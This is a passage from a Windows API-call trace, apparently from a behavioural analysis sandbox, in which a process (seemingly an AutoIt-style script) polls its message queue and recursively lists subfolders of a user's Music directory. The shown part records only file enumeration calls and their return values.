wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*.*", cchCount1=3, lpString2="*", cchCount2=1) returned 3 [0063.159] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.159] CharUpperBuffW (in: lpsz="__FLTAR_LISTTOMASK", cchLength=0x12 | out: lpsz="__FLTAR_LISTTOMASK") returned 0x12 [0063.159] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0063.160] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0063.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*.*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0063.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0063.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0063.160] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0063.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*\\.*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0063.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\.*", cchCount1=1, lpString2="?", cchCount2=1) returned 3 [0063.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0063.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0063.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*\\.*", cchCount1=1, lpString2="*", cchCount2=1) returned 2 [0063.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\.*", cchCount1=1, lpString2="*", cchCount2=1) returned 3 [0063.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2="*", cchCount2=1) returned 3 [0063.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2="*", cchCount2=1) returned 2 [0063.160] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0063.160] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0063.160] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.160] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.160] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.160] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.160] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.160] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.160] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0063.160] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.161] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.161] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.161] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.161] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.161] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.161] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.161] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.161] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.161] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.161] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.161] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.161] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.161] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.161] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.162] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.162] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.162] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.162] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.162] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.162] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.162] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.162] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.162] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.162] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.163] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.163] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.163] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.163] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0063.163] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.164] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.164] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.164] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.164] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.164] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.164] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.164] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.164] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.164] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.164] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.164] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.164] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.164] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.164] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.164] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0063.164] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0063.164] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.164] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ASH", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SH", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0063.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0063.165] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.165] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0063.165] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.165] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.165] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.165] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.166] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.166] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.166] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.166] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0063.166] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.166] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0063.166] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.166] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.166] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.166] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.167] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.167] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0063.167] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.167] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.167] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0063.167] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.167] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.167] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.167] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.168] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.168] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0063.168] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.168] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0063.168] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.168] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0063.168] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.168] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.169] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.169] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.169] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.169] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.170] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.170] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.170] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.170] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.170] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0063.170] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.170] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0063.170] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.170] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.170] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.190] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.190] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.190] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.190] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.190] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.191] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.191] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.191] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.191] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0063.191] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.191] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0063.192] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.192] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.192] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.192] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.192] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0063.192] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.192] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cb30 [0063.192] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.192] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.193] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.193] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.193] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.193] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0063.193] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.193] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0063.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="D", cchCount2=1) returned 2 [0063.194] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0063.194] FindNextFileW (in: hFindFile=0x164cb30, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0063.194] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.194] FindFirstFileW (in: 